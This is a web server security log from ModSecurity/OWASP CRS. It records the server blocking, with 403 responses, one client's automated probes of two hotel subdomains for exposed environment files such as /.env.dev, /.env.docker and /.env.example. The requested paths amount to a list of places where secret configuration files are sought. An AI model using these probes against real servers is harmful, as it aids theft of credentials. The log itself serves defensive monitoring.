[Sun Oct 25 04:06:21.554231 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at24farU4NwppjTEGaL6hQAAAAY"]
[Sun Oct 25 04:06:21.554428 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at24farU4NwppjTEGaL6hQAAAAY"]
[Sun Oct 25 04:06:21.554784 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at24farU4NwppjTEGaL6hQAAAAY"]
[Sun Oct 25 04:06:21.567662 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at24fbQKh4dfs72fmHxv8QAAAAE"]
[Sun Oct 25 04:06:21.567785 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at24fbQKh4dfs72fmHxv8QAAAAE"]
[Sun Oct 25 04:06:21.567999 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at24fbQKh4dfs72fmHxv8QAAAAE"]
[Sun Oct 25 04:06:21.590761 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at24fQLaiqtlZaJBsx4XyQAAAA0"]
[Sun Oct 25 04:06:21.590932 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at24fQLaiqtlZaJBsx4XyQAAAA0"]
[Sun Oct 25 04:06:21.591249 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at24fQLaiqtlZaJBsx4XyQAAAA0"]
[Sun Oct 25 04:06:21.604141 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at24fZ68N771hz7W4KlsQQAAAAw"]
[Sun Oct 25 04:06:21.604289 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at24fZ68N771hz7W4KlsQQAAAAw"]
[Sun Oct 25 04:06:21.604560 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at24fZ68N771hz7W4KlsQQAAAAw"]
[Sun Oct 25 04:06:21.606395 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at24fdxXWZMI2DaSlsHxLgAAABY"]
[Sun Oct 25 04:06:21.606588 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at24fdxXWZMI2DaSlsHxLgAAABY"]
[Sun Oct 25 04:06:21.606886 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at24fdxXWZMI2DaSlsHxLgAAABY"]
[Sun Oct 25 04:06:21.608349 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at24fS7GhhaIo05efijDGQAAAAc"]
[Sun Oct 25 04:06:21.608572 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at24fS7GhhaIo05efijDGQAAAAc"]
[Sun Oct 25 04:06:21.608905 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at24fS7GhhaIo05efijDGQAAAAc"]
[Sun Oct 25 04:06:21.625089 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at24fVTnwNJm6o1fQZIirgAAAAI"]
[Sun Oct 25 04:06:21.625266 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at24fVTnwNJm6o1fQZIirgAAAAI"]
[Sun Oct 25 04:06:21.625586 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at24fVTnwNJm6o1fQZIirgAAAAI"]
[Sun Oct 25 04:06:21.631669 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at24fYHtOs-nfC4GshpRpwAAABc"]
[Sun Oct 25 04:06:21.631849 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at24fYHtOs-nfC4GshpRpwAAABc"]
[Sun Oct 25 04:06:21.632195 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at24fYHtOs-nfC4GshpRpwAAABc"]
[Sun Oct 25 04:06:21.632773 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at24farU4NwppjTEGaL6hgAAAAY"]
[Sun Oct 25 04:06:21.632954 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at24farU4NwppjTEGaL6hgAAAAY"]
[Sun Oct 25 04:06:21.633252 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at24farU4NwppjTEGaL6hgAAAAY"]
[Sun Oct 25 04:06:21.646025 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at24fbQKh4dfs72fmHxv8gAAAAE"]
[Sun Oct 25 04:06:21.646149 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at24fbQKh4dfs72fmHxv8gAAAAE"]
[Sun Oct 25 04:06:21.646407 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at24fbQKh4dfs72fmHxv8gAAAAE"]
[Sun Oct 25 04:06:21.669774 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at24fQLaiqtlZaJBsx4XygAAAA0"]
[Sun Oct 25 04:06:21.669933 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at24fQLaiqtlZaJBsx4XygAAAA0"]
[Sun Oct 25 04:06:21.670178 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at24fQLaiqtlZaJBsx4XygAAAA0"]
[Sun Oct 25 04:06:21.688052 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at24fZ68N771hz7W4KlsQgAAAAw"]
[Sun Oct 25 04:06:21.688310 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at24fZ68N771hz7W4KlsQgAAAAw"]
[Sun Oct 25 04:06:21.688717 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at24fZ68N771hz7W4KlsQgAAAAw"]
[Sun Oct 25 04:06:21.690205 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at24fdxXWZMI2DaSlsHxLwAAABY"]
[Sun Oct 25 04:06:21.690404 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at24fdxXWZMI2DaSlsHxLwAAABY"]
[Sun Oct 25 04:06:21.690712 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at24fdxXWZMI2DaSlsHxLwAAABY"]
